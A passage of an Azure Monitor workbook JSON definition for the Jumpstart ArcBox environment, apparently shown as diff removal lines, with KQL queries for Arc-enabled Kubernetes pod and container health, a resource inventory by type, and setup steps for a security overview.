- "typeSettings": { - "additionalResourceOptions": [ - "value::1" - ], - "showDefault": false - }, - "defaultValue": "value::1", - "queryType": 8, - "value": "microsoft.kubernetes/connectedclusters" - }, - { - "id": "9767de49-ba31-4847-9ffc-714c02e7523c", - "version": "KqlParameterItem/1.0", - "name": "clusterId", - "type": 1, - "description": "Filter workspace by cluster id", - "isHiddenWhenLocked": true, - "timeContext": { - "durationMs": 14400000 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "cba109cf-db6e-4261-8d3a-fe038593622d", - "version": "KqlParameterItem/1.0", - "name": "clusterIdWhereClause", - "type": 1, - "description": "Add to queries to filter by cluster id", - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "criteriaContext": { - "leftOperand": "resourceType", - "operator": "contains", - "rightValType": "static", - "rightVal": "microsoft.operationalinsights/workspaces", - "resultValType": "static", - "resultVal": "| where ClusterId =~ '{clusterId}'" - } - }, - { - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 14400000 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "ee080bd8-83dc-4fa0-b688-b2f16b956b92", - "version": "KqlParameterItem/1.0", - "name": "workloadType", - "label": "Workload Type", - "type": 2, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n| distinct ControllerKind\r\n| where isempty(ControllerKind) == false\r\n| order by ControllerKind asc", - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "" - }, - "timeContext": { - "durationMs": 7776000000 - }, - "timeContextFromParameter": "timeRange", - "defaultValue": "value::all", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - { - "id": "cf611d4b-aa93-4949-a7a1-c1d174af29ca", - "version": "KqlParameterItem/1.0", - "name": "workloadKindWhereClause", - "type": 1, - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "condition": "if (workloadType is not empty ), result = '| where ControllerKind in ({workloadType})'", - "criteriaContext": { - "leftOperand": "workloadType", - "operator": "isNotNull", - "rightValType": "static", - "rightVal": "unset", - "resultValType": "static", - "resultVal": "| where ControllerKind in ({workloadType})" - } - }, - { - "condition": "else result = '| where \"a\" == \"a\"'", - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "034caae5-bee3-4b66-8f80-c120a2a25c77", - "version": "KqlParameterItem/1.0", - "name": "namespace", - "label": "Namespace", - "type": 2, - "description": "Filter the workbook by namespace", - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n{workloadKindWhereClause}\r\n| distinct Namespace\r\n| where isnotempty(Namespace)\r\n| order by Namespace asc", - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "", - "showDefault": false - }, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - { - "id": "faeee248-e4c3-4fae-b435-ef5fb6dabe3b", - "version": "KqlParameterItem/1.0", - "name": "namespaceWhereClause", - "type": 1, - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "condition": "if (namespace is not empty ), result = '| where Namespace in ({namespace})'", - "criteriaContext": { - "leftOperand": "namespace", - "operator": "isNotNull", - "rightValType": "static", - "rightVal": "unset", - "resultValType": "static", - "resultVal": "| where Namespace in ({namespace})" - } - }, - { - "condition": "else result = '| where \"a\" == \"a\"'", - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "8943e259-1dde-44cd-a00b-e815eea9de34", - "version": "KqlParameterItem/1.0", - "name": "workloadName", - "label": "Workload Name", - "type": 2, - "description": "Filter the data for a particular workload", - "isRequired": true, - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n{namespaceWhereClause}\r\n{workloadKindWhereClause}\r\n| distinct ControllerName\r\n| where isnotempty(ControllerName)\r\n| order by ControllerName asc", - "crossComponentResources": [ - "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/" - ], - "value": null, - "typeSettings": { - "additionalResourceOptions": [ - "value::1" - ], - "showDefault": false - }, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "defaultValue": "value::1", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - { - "id": "00a9be6c-ab0b-400b-b195-9775a47ecddd", - "version": "KqlParameterItem/1.0", - "name": "podStatus", - "label": "Pod Status", - "type": 2, - "description": "Filter by Pod status like Pending/Running/Failed etc.", - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n| where ControllerName == '{workloadName}'\r\n| distinct PodStatus\r\n| where isnotempty(PodStatus)\r\n| order by PodStatus asc", - "crossComponentResources": [ - "{resource}" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "", - "showDefault": false - }, - "timeContext": { - "durationMs": 14400000 - }, - "timeContextFromParameter": "timeRange", - "defaultValue": "value::all", - "queryType": 0, - "resourceType": "{resourceType}", - "value": [ - "value::all" - ] - }, - { - "id": "388ea6aa-12d8-485a-8e80-b4d7b8994bd8", - "version": "KqlParameterItem/1.0", - "name": "podStatusWhereClause", - "type": 1, - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "criteriaContext": { - "leftOperand": "podStatus", - "operator": "isNotNull", - "rightValType": "static", - "rightVal": "unset", - "resultValType": "static", - "resultVal": "| where PodStatus in ({podStatus})" - } - }, - { - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "64de23e6-96b5-4105-b65d-36e40f73f4ec", - "version": "KqlParameterItem/1.0", - "name": "podName", - "label": "Pod Name", - "type": 2, - "description": "Filter by pod name ", - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n| where ControllerName == '{workloadName:value}'\r\n{podStatusWhereClause}\r\n| summarize arg_max(TimeGenerated, PodStatus) by Name\r\n| project Name\r\n| where isempty(Name) == false\r\n| order by Name asc", - "crossComponentResources": [ - "{resource}" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "", - "showDefault": false - }, - "timeContext": { - "durationMs": 14400000 - }, - "timeContextFromParameter": "timeRange", - "defaultValue": "value::all", - "queryType": 0, - "resourceType": "{resourceType}", - "value": [ - "value::all" - ] - }, - { - "id": "4f7059c2-ebd7-4fc2-86c4-c51e66703582", - "version": "KqlParameterItem/1.0", - "name": "podNameWhereClause", - "type": 1, - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "condition": "if (podName is not empty ), result = '| where PodName in ({podName})'", - "criteriaContext": { - "leftOperand": "podName", - "operator": "isNotNull", - "rightValType": "static", - "rightVal": "unset", - "resultValType": "static", - "resultVal": "| where PodName in ({podName})" - } - }, - { - "condition": "else result = '| where \"a\" == \"a\"'", - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "e60298ff-36da-485e-acea-73c0692b8446", - "version": "KqlParameterItem/1.0", - "name": "workloadNamespaceText", - "type": 1, - "description": "For displaying name space of the selected workload", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n{namespaceWhereClause}\r\n| where ControllerName == '{workloadName}'\r\n| summarize Namespaces=make_set(Namespace)\r\n| extend Namespaces = strcat_array(Namespaces, ', ')", - "crossComponentResources": [ - "{resource}" - ], - "isHiddenWhenLocked": true, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "{resourceType}" - }, - { - "id": "9f8d0d65-d7bc-42c9-bc5c-b394288b5216", - "version": "KqlParameterItem/1.0", - "name": "workloadTypeText", - "type": 1, - "description": "For displaying workload type of the selected workload", - "query": "KubePodInventory\r\n{clusterIdWhereClause}\r\n{workloadKindWhereClause}\r\n| where ControllerName == '{workloadName}'\r\n| summarize ControllerKinds=make_set(ControllerKind)\r\n| extend ControllerKinds = strcat_array(ControllerKinds, ', ')", - "crossComponentResources": [ - "{resource}" - ], - "isHiddenWhenLocked": true, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "{resourceType}" - } - ], - "style": "above", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - "name": "pills" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "parameters": [ - { - "id": "55cc0c6d-51df-4e58-9543-c8b21bc71e29", - "version": "KqlParameterItem/1.0", - "name": "podTileStatusWhereClause", - "type": 1, - "isHiddenWhenLocked": true, - "criteriaData": [ - { - "criteriaContext": { - "leftOperand": "podStatusTileText", - "operator": "!=", - "rightValType": "static", - "rightVal": "All", - "resultValType": "static", - "resultVal": "| where PodStatus == '{podStatusTileText}'" - } - }, - { - "criteriaContext": { - "operator": "Default", - "rightValType": "param", - "resultValType": "static", - "resultVal": "| where \"a\" == \"a\"" - } - } - ], - "timeContext": { - "durationMs": 14400000 - }, - "timeContextFromParameter": "timeRange" - } - ], - "style": "pills", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - "conditionalVisibility": { - "parameterName": "selectedTab", - "comparison": "isEqualTo", - "value": "asas" - }, - "name": "pod-status-tile-text" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "let endDateTime = {timeRange:end};\r\nlet startDateTime = {timeRange:start};\r\nlet trendBinSize = {timeRange:grain};\r\nlet controllerName= '{workloadName}';\r\nKubePodInventory\r\n| where TimeGenerated >= startDateTime\r\n| where TimeGenerated < endDateTime\r\n{clusterIdWhereClause}\r\n{workloadKindWhereClause}\r\n{namespaceWhereClause}\r\n| where isnotempty(ClusterName)\r\n| where isnotempty(Namespace)\r\n| where ControllerName == controllerName\r\n| extend PodName = Name\r\n{podStatusWhereClause}\r\n{podTileStatusWhereClause}\r\n{podNameWhereClause}\r\n| summarize PodRestartCount=max(PodRestartCount) by PodName, bin(TimeGenerated, trendBinSize)\r\n| order by PodName asc nulls last, TimeGenerated asc\r\n| serialize \r\n| extend prevValue=iif(prev(PodName) == PodName, prev(PodRestartCount), PodRestartCount)\r\n| extend RestartCount=PodRestartCount - prevValue\r\n| extend RestartCount=iif(RestartCount < 0, 0, RestartCount) \r\n| project TimeGenerated, PodName, RestartCount\r\n| render timechart", - "size": 0, - "aggregation": 5, - "showAnalytics": true, - "title": "Azure Arc-enabled Kubernetes - Pod Restart Trend", - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/" - ] - }, - "customWidth": "50", - "showPin": true, - "name": "pod-restart-trend-chart", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "let endDateTime = {timeRange:end};\r\nlet startDateTime = {timeRange:start};\r\nlet trendBinSize = {timeRange:grain};\r\nlet controllerName= '{workloadName:value}';\r\nKubePodInventory\r\n| where TimeGenerated >= startDateTime\r\n| where TimeGenerated < endDateTime\r\n{clusterIdWhereClause}\r\n{workloadKindWhereClause}\r\n{namespaceWhereClause}\r\n| where isnotempty(ClusterName)\r\n| where isnotempty(Namespace)\r\n| where ControllerName == controllerName\r\n| extend PodName = Name\r\n{podStatusWhereClause}\r\n{podTileStatusWhereClause}\r\n{podNameWhereClause}\r\n| extend ContainerName=tostring(split(ContainerName, '/')[1])\r\n| where isempty(ContainerName) == false\r\n| summarize ContainerRestartCount=sum(ContainerRestartCount) by ContainerName, bin(TimeGenerated, 1tick)\r\n| order by ContainerName asc nulls last, TimeGenerated asc\r\n| serialize \r\n| extend prevValue=iif(prev(ContainerName) == ContainerName, prev(ContainerRestartCount), ContainerRestartCount)\r\n| extend RestartCount=ContainerRestartCount - prevValue\r\n| extend RestartCount=iif(RestartCount < 0, 0, RestartCount) \r\n| project TimeGenerated, ContainerName, RestartCount\r\n| summarize RestartCount=sum(RestartCount) by ContainerName, bin(TimeGenerated, trendBinSize)", - "size": 0, - "aggregation": 5, - "showAnalytics": true, - "title": "Azure Arc-enabled Kubernetes - Container restart trend", - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/" - ], - "visualization": "timechart" - }, - "customWidth": "50", - "showPin": true, - "name": "container-restart-trend-chart", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 10, - "content": { - "chartId": "workbook3e0e301c-50cf-4e53-ac2a-40f5eed823a0", - "version": "MetricsItem/2.0", - "size": 0, - "chartType": 2, - "resourceType": "microsoft.kubernetes/connectedclusters", - "metricScope": 0, - "resourceParameter": "resource", - "resourceIds": [ - "{resource}" - ], - "timeContext": { - "durationMs": 3600000 - }, - "metrics": [ - { - "namespace": "insights.container/pods", - "metric": "insights.container/pods--PodCount", - "aggregation": 4, - "splitBy": null - } - ], - "title": "Azure Arc-enabled Kubernetes - Pod Count", - "gridSettings": { - "rowLimit": 10000 - } - }, - "customWidth": "50", - "name": "metric - 19" - }, - { - "type": 10, - "content": { - "chartId": "workbook167c4490-9cde-4fcd-be0f-401070f13ccd", - "version": "MetricsItem/2.0", - "size": 0, - "chartType": 2, - "resourceType": "microsoft.kubernetes/connectedclusters", - "metricScope": 0, - "resourceParameter": "resource", - "resourceIds": [ - "{resource}" - ], - "timeContext": { - "durationMs": 3600000 - }, - "metrics": [ - { - "namespace": "insights.container/pods", - "metric": "insights.container/pods--PodReadyPercentage", - "aggregation": 4, - "splitBy": null - }, - { - "namespace": "insights.container/pods", - "metric": "insights.container/pods--restartingContainerCount", - "aggregation": 4 - } - ], - "title": "Azure Arc-enabled Kubernetes - Pod status", - "gridSettings": { - "rowLimit": 10000 - } - }, - "customWidth": "50", - "name": "metric - 20" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "let endDateTime = {timeRange:end};\r\nlet startDateTime = {timeRange:start};\r\nlet trendBinSize = {timeRange:grain};\r\nlet controllerName= '{workloadName}';\r\nKubePodInventory\r\n| where TimeGenerated >= startDateTime\r\n| where TimeGenerated < endDateTime\r\n{clusterIdWhereClause}\r\n{workloadKindWhereClause}\r\n{namespaceWhereClause}\r\n| where isnotempty(ClusterName)\r\n| where isnotempty(Namespace)\r\n| extend PodName = Name\r\n{podStatusWhereClause}\r\n{podNameWhereClause}\r\n| where ControllerName == controllerName\r\n| extend InstanceName = strcat(ClusterId, '/', ContainerName),\r\n ContainerName = strcat(Name, '/', tostring(split(ContainerName, '/')[1]))\r\n| summarize arg_max(TimeGenerated, *) by ContainerName, Name\r\n{podTileStatusWhereClause}\r\n| extend ContainerLastStatus = todynamic(ContainerLastStatus) \r\n| project TimeGenerated, ContainerName, PodStatus, ContainerStatus, LastState=ContainerLastStatus.lastState, LastStateReason=ContainerLastStatus.reason, LastStateStartTime=ContainerLastStatus.startedAt,\r\nLastStateFinishTime=ContainerLastStatus.finishedAt\r\n", - "size": 0, - "aggregation": 5, - "showAnalytics": true, - "title": "Azure Arc-enabled Kubernetes - Container Status for Pods", - "timeContextFromParameter": "timeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/" - ], - "gridSettings": { - "formatters": [ - { - "columnMatch": "TimeGenerated", - "formatter": 6, - "formatOptions": {}, - "dateFormat": { - "showUtcTime": null, - "formatName": "shortDateTimePattern" - } - }, - { - "columnMatch": "PodStatus", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "==", - "thresholdValue": "Running", - "representation": "success", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "Pending", - "representation": "pending", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "Failed", - "representation": "failed", - "text": "{0}{1}" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "Blank", - "text": "{0}{1}" - } - ] - } - }, - { - "columnMatch": "ContainerStatus", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "==", - "thresholdValue": "Running", - "representation": "success", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "waiting", - "representation": "pending", - "text": "{0}{1}" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "success", - "text": "{0}{1}" - } - ] - } - }, - { - "columnMatch": "LastState", - "formatter": 0, - "formatOptions": {}, - "numberFormat": { - "unit": 0, - "options": { - "style": "decimal" - }, - "emptyValCustomText": "-" - } - }, - { - "columnMatch": "LastStateReason", - "formatter": 0, - "formatOptions": {}, - "numberFormat": { - "unit": 0, - "options": { - "style": "decimal" - }, - "emptyValCustomText": "-" - } - }, - { - "columnMatch": "LastStateStartTime", - "formatter": 6, - "formatOptions": {}, - "dateFormat": { - "showUtcTime": null, - "formatName": "shortDateTimePattern" - } - }, - { - "columnMatch": "LastStateFinishTime", - "formatter": 6, - "formatOptions": {}, - "dateFormat": { - "showUtcTime": null, - "formatName": "shortDateTimePattern" - } - } - ] - }, - "sortBy": [] - }, - "showPin": true, - "name": "container-status-for-pods-chart" - }, - { - "type": 10, - "content": { - "chartId": "workbook87327d65-b260-4473-9f2b-5d90b1100543", - "version": "MetricsItem/2.0", - "size": 0, - "chartType": 2, - "resourceType": "microsoft.kubernetes/connectedclusters", - "metricScope": 0, - "resourceParameter": "resource", - "resourceIds": [ - "{resource}" - ], - "timeContext": { - "durationMs": 2592000000 - }, - "metrics": [ - { - "namespace": "insights.container/nodes", - "metric": "insights.container/nodes--cpuUsagePercentage", - "aggregation": 4, - "splitBy": null - } - ], - "title": "Azure Arc-enabled Kubernetes cluster - Node CPU usage %", - "gridSettings": { - "rowLimit": 10000 - } - }, - "customWidth": "50", - "name": "metric - 17" - }, - { - "type": 10, - "content": { - "chartId": "workbook2f202f95-1281-4077-a49b-31c3e3d3271b", - "version": "MetricsItem/2.0", - "size": 0, - "chartType": 2, - "resourceType": "microsoft.kubernetes/connectedclusters", - "metricScope": 0, - "resourceParameter": "resource", - "resourceIds": [ - "{resource}" - ], - "timeContext": { - "durationMs": 3600000 - }, - "metrics": [ - { - "namespace": "insights.container/nodes", - "metric": "insights.container/nodes--memoryWorkingSetPercentage", - "aggregation": 4, - "splitBy": null - } - ], - "title": "Azure Arc-enabled Kubernetes cluster - Node memory working set %", - "gridSettings": { - "rowLimit": 10000 - } - }, - "customWidth": "50", - "name": "metric - 18" - } - ] - }, - "conditionalVisibility": { - "parameterName": "selectedTab", - "comparison": "isEqualTo", - "value": "Monitoring" - }, - "name": "Monitoring" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "## Jumpstart ArcBox resource inventory\r\n\r\n💡 Select your Azure ArcBox subscription and Resource Group to see more information." - }, - "name": "text - 4" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "crossComponentResources": [ - "{Subscription}" - ], - "parameters": [ - { - "id": "984514df-fff0-434c-a373-7090566e8c44", - "version": "KqlParameterItem/1.0", - "name": "Subscription", - "type": 6, - "isRequired": true, - "value": null, - "typeSettings": { - "additionalResourceOptions": [], - "includeAll": true, - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - } - }, - { - "id": "cb849a6b-937d-4e93-8d09-770554777009", - "version": "KqlParameterItem/1.0", - "name": "ResourceGroup", - "label": "Resource Group", - "type": 2, - "isRequired": true, - "query": "Resources\r\n| summarize Count = count() by subscriptionId, resourceGroup\r\n| order by Count desc\r\n| extend Rank = row_number()\r\n| project label = resourceGroup", - "crossComponentResources": [ - "{Subscription}" - ], - "value": null, - "typeSettings": { - "additionalResourceOptions": [], - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "0fd9f40f-ffe0-4894-adc7-64866aa4b1e4", - "version": "KqlParameterItem/1.0", - "name": "ResourceType", - "label": "Resources", - "type": 7, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "includeAll": true, - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - } - } - ], - "style": "pills", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - "name": "parameters - 1" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Resources \r\n| where resourceGroup == \"{ResourceGroup}\"\r\n| extend type = case(\r\ntype contains 'microsoft.netapp/netappaccounts', 'NetApp Accounts',\r\ntype contains \"microsoft.compute\", \"Azure Compute\",\r\ntype contains \"microsoft.logic\", \"LogicApps\",\r\ntype contains 'microsoft.keyvault/vaults', \"Key Vaults\",\r\ntype contains 'microsoft.storage/storageaccounts', \"Storage Accounts\",\r\ntype contains 'microsoft.compute/availabilitysets', 'Availability Sets',\r\ntype contains 'microsoft.operationalinsights/workspaces', 'Azure Monitor Resources',\r\ntype contains 'microsoft.operationsmanagement', 'Operations Management Resources',\r\ntype contains 'microsoft.insights', 'Azure Monitor Resources',\r\ntype contains 'microsoft.desktopvirtualization/applicationgroups', 'WVD Application Groups',\r\ntype contains 'microsoft.desktopvirtualization/workspaces', 'WVD Workspaces',\r\ntype contains 'microsoft.desktopvirtualization/hostpools', 'WVD Hostpools',\r\ntype contains 'microsoft.recoveryservices/vaults', 'Backup Vaults',\r\ntype contains 'microsoft.web', 'App Services',\r\ntype contains 'microsoft.managedidentity/userassignedidentities','Managed Identities',\r\ntype contains 'microsoft.storagesync/storagesyncservices', 'Azure File Sync',\r\ntype contains 'microsoft.hybridcompute/machines', 'Azure Arc-enabled servers ',\r\ntype contains 'Microsoft.EventHub', 'Event Hub',\r\ntype contains 'Microsoft.EventGrid', 'Event Grid',\r\ntype contains 'Microsoft.Sql', 'SQL Resources',\r\ntype contains 'Microsoft.HDInsight/clusters', 'HDInsight Clusters',\r\ntype contains 'microsoft.devtestlab', 'DevTest Labs Resources',\r\ntype contains 'microsoft.containerinstance', 'Container Instances Resources',\r\ntype contains 'microsoft.portal/dashboards', 'Azure Dashboards',\r\ntype contains 'microsoft.containerregistry/registries', 'Container Registry',\r\ntype contains 'microsoft.automation', 'Automation Resources',\r\ntype contains 'sendgrid.email/accounts', 'SendGrid Accounts',\r\ntype contains 'microsoft.datafactory/factories', 'Data Factory',\r\ntype contains 'microsoft.databricks/workspaces', 'Databricks Workspaces',\r\ntype contains 'microsoft.machinelearningservices/workspaces', 'Machine Learnings Workspaces',\r\ntype contains 'microsoft.alertsmanagement/smartdetectoralertrules', 'Azure Monitor Resources',\r\ntype contains 'microsoft.apimanagement/service', 'API Management Services',\r\ntype contains 'microsoft.dbforpostgresql', 'PostgreSQL Resources',\r\ntype contains 'microsoft.scheduler/jobcollections', 'Scheduler Job Collections',\r\ntype contains 'microsoft.visualstudio/account', 'Azure DevOps Organization',\r\ntype contains 'microsoft.network/', 'Network Resources',\r\ntype contains 'microsoft.migrate/' or type contains 'microsoft.offazure', 'Azure Migrate Resources',\r\ntype contains 'microsoft.servicebus/namespaces', 'Service Bus Namespaces',\r\ntype contains 'microsoft.classic', 'ASM Obsolete Resources',\r\ntype contains 'microsoft.resources/templatespecs', 'Template Spec Resources',\r\ntype contains 'microsoft.virtualmachineimages', 'VM Image Templates',\r\ntype contains 'microsoft.documentdb', 'CosmosDB DB Resources',\r\ntype contains 'microsoft.alertsmanagement/actionrules', 'Azure Monitor Resources',\r\ntype contains 'microsoft.kubernetes/connectedclusters', 'Azure Arc-enabled Kubernetes',\r\ntype contains 'microsoft.purview', 'Purview Resources',\r\ntype contains 'microsoft.security', 'Security Resources',\r\ntype contains 'microsoft.cdn', 'CDN Resources',\r\ntype contains 'microsoft.devices','IoT Resources',\r\ntype contains 'microsoft.datamigration', 'Data Migraiton Services',\r\ntype contains 'microsoft.cognitiveservices', 'Congitive Services',\r\ntype contains 'microsoft.customproviders', 'Custom Providers',\r\ntype contains 'microsoft.appconfiguration', 'App Services',\r\ntype contains 'microsoft.search', 'Search Services',\r\ntype contains 'microsoft.maps', 'Maps',\r\ntype contains 'microsoft.containerservice/managedclusters', 'AKS',\r\ntype contains 'microsoft.signalrservice', 'SignalR',\r\ntype contains 'microsoft.resourcegraph/queries', 'Resource Graph Queries',\r\ntype contains 'microsoft.batch', 'MS Batch',\r\ntype contains 'microsoft.analysisservices', 'Analysis Services',\r\ntype contains 'microsoft.synapse/workspaces', 'Synapse Workspaces',\r\ntype contains 'microsoft.synapse/workspaces/sqlpools', 'Synapse SQL Pools',\r\ntype contains 'microsoft.kusto/clusters', 'ADX Clusters',\r\ntype contains 'microsoft.resources/deploymentscripts', 'Deployment Scripts',\r\ntype contains 'microsoft.aad/domainservices', 'AD Domain Services',\r\ntype contains 'microsoft.labservices/labaccounts', 'Lab Accounts',\r\ntype contains 'microsoft.automanage/accounts', 'Automanage Accounts',\r\ntype contains 'microsoft.extendedlocation/customlocations', 'Azure Arc Custom Locations',\r\ntype contains 'microsoft.azurearcdata/postgresinstances', 'Azure Arc-enabled PostgresSQL',\r\ntype contains 'microsoft.azurearcdata/sqlmanagedinstances', 'Azure Arc-enabled SQL Managed Instance',\r\ntype contains 'microsoft.azurearcdata/datacontrollers', 'Azure Arc-enabled Data Controller',\r\ntype contains 'microsoft.azurearcdata/sqlserverinstances', 'Azure Arc-enabled SQL Server',\r\nstrcat(\"Not Translated: \", type))\r\n| summarize count() by type", - "size": 1, - "title": "Resource Count by Type", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "{Subscription}" - ], - "visualization": "tiles", - "tileSettings": { - "titleContent": { - "columnMatch": "type", - "formatter": 1 - }, - "leftContent": { - "columnMatch": "count_", - "formatter": 12, - "formatOptions": { - "palette": "auto" - }, - "numberFormat": { - "unit": 17, - "options": { - "style": "decimal", - "useGrouping": false, - "maximumFractionDigits": 2, - "maximumSignificantDigits": 3 - } - } - }, - "showBorder": true, - "sortCriteriaField": "count_", - "sortOrderField": 2 - } - }, - "name": "query - Overview Resource Counts by type" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Resources\r\n| where type in~ ({ResourceType})\r\n| where resourceGroup == \"{ResourceGroup}\"\r\n| project Resource = id, Subscription = subscriptionId, ['Resource group'] = strcat('/subscriptions/', subscriptionId, '/resourceGroups/', resourceGroup), Location = location, tags", - "size": 2, - "title": "Resources List", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "{Subscription}" - ] - }, - "name": "query - 2" - } - ] - }, - "conditionalVisibility": { - "parameterName": "selectedTab", - "comparison": "isEqualTo", - "value": "Inventory" - }, - "name": "Inventory" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "## Jumpstart ArcBox security overview" - }, - "name": "text - 5" - }, - { - "type": 1, - "content": { - "json": "💡 To use this workbook, you'll need to configure **continuous export** to export data to a Log Analytics workspace:\r\n1. From Microsoft Defender for Cloud's sidebar, select **Environment Settings**.\r\n2. Select the specific Azure subscription for which you want to configure the data export.\r\n3. From the sidebar of the settings page for that subscription, select **Continuous Export**.\r\n4. Set the export target to **Log Analytics workspace**.\r\n5. Select the following data types: **Security recommendations** and **Secure Score (Preview)**.\r\n6. From the export frequency options, select **Streaming** and **Snapshots**.\r\n7. Make sure to select ArcBox's subscription, resource group and Log Analytics workspace as the export target. Select Save.\r\n\r\n[Learn more](https://learn.microsoft.com/azure/security-center/continuous-export?tabs=azure-portal#set-up-a-continuous-export)\r\n\r\n> **Notes**\r\n* To get full visibility, wait at least one week for the first snapshot to be exported.\r\n* To configure continuous export across your organization, use the supplied Azure Policy 'DeployIfNotExist' policies described [here](https://learn.microsoft.com/azure/security-center/continuous-export?tabs=azure-policy#set-up-a-continuous-export)." - }, - "showPin": false, - "name": "Instructions" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "crossComponentResources": [ - "{Workspace}" - ], - "parameters": [ - { - "id": "ae721cb1-e030-4e02-8839-9c6a00f66c8a", - "version": "KqlParameterItem/1.0", - "name": "Workspace", - "type": 5, - "description": "Select at least one workspace that contains continuous export data based on the selected subscriptions", - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "resources\r\n| where type =~ 'microsoft.operationalinsights/workspaces'\r\n| project id", - "crossComponentResources": [ - "value::selected" - ], - "value": [ - "value::all" - ], - "typeSettings": { - "resourceTypeFilter": { - "microsoft.operationalinsights/workspaces": true - }, - "additionalResourceOptions": [ - "value::all" - ], - "showDefault": false - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": 